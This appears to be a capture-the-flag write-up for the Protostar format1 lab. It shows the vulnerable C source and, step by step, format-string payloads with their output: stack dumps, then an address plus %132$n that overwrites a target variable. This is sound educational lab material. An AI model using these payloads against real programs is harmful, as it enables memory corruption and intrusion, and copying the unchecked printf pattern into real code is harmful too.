Here is the source of the vulnerable program :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target;void vuln (char *string ) { printf (string ); if (target) { printf ("you have modified the target :)\n" ); } } int main (int argc, char **argv) { vuln(argv[1 ]); }
This challenge goes a little further in format strings attacks.
This time, we have to modify a variable without exploiting a buffer, we will have to use the %n identifier. This format identifier writes the number of chars printed to this point to a specified address.
First let’s find target address:
1 2 3 user@protostar:~$ objdump -t /opt/protostar/bin/format1 | grep target 08049638 g O .bss 00000004 target user@protostar:~$
We’ll have to write to : 08049638
Now let’s find where the printf function starts to put its content on the stack (we know that it will be far up the stack) :
1 2 3 4 5 6 7 8 user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "ABABABAB"+100*"%08x."' ` ABABABAB0804960c.bffff5e8.08048469.b7fd8304.b7fd7ff4.bffff5e8.08048435.bffff7be.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff668.b7eadc76.00000002.bffff694.bffff6a0.b7fe1848.bffff650.ffffffff.b7ffeff4.0804824d.00000001.bffff650.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff668.941f48a2.be4cdeb2.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff694.08048450.08048440.b7ff1040.bffff68c.b7fff8f8.00000002.bffff7a1.bffff7be.00000000.bffff9bb.bffff9c9.bffff9d4.bffff9f1.bffffa04.bffffa0e.bffffefe.bfffff3c.bfffff50.bfffff5f.bfffff70.bfffff78.bfffff88.bfffff95.bfffffc0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.078bfbbf.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c. user@protostar:~$ user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "ABABABAB"+150*"%08x."' ` ABABABAB0804960c.bffff4e8.08048469.b7fd8304.b7fd7ff4.bffff4e8.08048435.bffff6c4.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff568.b7eadc76.00000002.bffff594.bffff5a0.b7fe1848.bffff550.ffffffff.b7ffeff4.0804824d.00000001.bffff550.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff568.49fe7845.63afee55.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff594.08048450.08048440.b7ff1040.bffff58c.b7fff8f8.00000002.bffff6a7.bffff6c4.00000000.bffff9bb.bffff9c9.bffff9d4.bffff9f1.bffffa04.bffffa0e.bffffefe.bfffff3c.bfffff50.bfffff5f.bfffff70.bfffff78.bfffff88.bfffff95.bfffffc0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.078bfbbf.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff68b.0000001f.bfffffdf.0000000f.bffff69b.00000000.00000000.00000000.00000000.6e000000.cc9ce81b.bd9d5b0b.0e5f8217.69de97ec.00363836.00000000.2f000000.2f74706f.746f7270.6174736f.69622f72.2f2e2f6e.6d726f66.00317461.42414241.42414241.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025. user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "ABABABAB"+134*"%08x."' ` ABABABAB0804960c.bffff538.08048469.b7fd8304.b7fd7ff4.bffff538.08048435.bffff714.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5b8.b7eadc76.00000002.bffff5e4.bffff5f0.b7fe1848.bffff5a0.ffffffff.b7ffeff4.0804824d.00000001.bffff5a0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5b8.abf70692.81a5f082.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5e4.08048450.08048440.b7ff1040.bffff5dc.b7fff8f8.00000002.bffff6f7.bffff714.00000000.bffff9bb.bffff9c9.bffff9d4.bffff9f1.bffffa04.bffffa0e.bffffefe.bfffff3c.bfffff50.bfffff5f.bfffff70.bfffff78.bfffff88.bfffff95.bfffffc0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.078bfbbf.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6db.0000001f.bfffffdf.0000000f.bffff6eb.00000000.00000000.00000000.00000000.21000000.c38070e0.89f6aa0e.6d49fb57.69a1e7ac.00363836.00000000.2f000000.2f74706f.746f7270.6174736f.69622f72.2f2e2f6e.6d726f66.00317461.42414241.42414241.user@protostar:~$
We can see that printf starts to write our string at the 134th byte. Let’s now try with our address :
1 2 3 4 830257838user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+134*"%08x."' ` 8�0804960c.bffff538.08048469.b7fd8304.b7fd7ff4.bffff538.08048435.bffff718.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5b8.b7eadc76.00000002.bffff5e4.bffff5f0.b7fe1848.bffff5a0.ffffffff.b7ffeff4.0804824d.00000001.bffff5a0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5b8.6d62d6d2.473020c2.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff5e4.08048450.08048440.b7ff1040.bffff5dc.b7fff8f8.00000002.bffff6fb.bffff718.00000000.bffff9bb.bffff9c9.bffff9d4.bffff9f1.bffffa04.bffffa0e.bffffefe.bfffff3c.bfffff50.bfffff5f.bfffff70.bfffff78.bfffff88.bfffff95.bfffffc0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.078bfbbf.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff6db.0000001f.bfffffdf.0000000f.bffff6eb.00000000.00000000.00000000.00000000.b2000000.2b71565b.f2d6c944.6fb675b2.69c4bbf6.00363836.00000000.00000000.2f000000.2f74706f.746f7270.6174736f.69622f72.2f2e2f6e.6d726f66.00317461.08049638. user@protostar:~$
Seems good. Instead of reading, we’re now going to try to write.
1 2 3 4 5 6 7 8 9 10 11 8�33333125user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+"%134$n"' ` Segmentation fault user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+"%134$x"' ` 8�53007824 user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+"%133$x"' ` 8�33333125 user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+"%132$x"' ` 8�8049638 user@protostar:~$ /opt/protostar/bin/./format1 `python -c 'print "\x38\x96\x04\x08"+"%132$n"' ` 8�you have modified the target :) user@protostar:~$
I did not understand why it was not working, apparently I was not displaying the same address with that notation, after a few tries I got it right.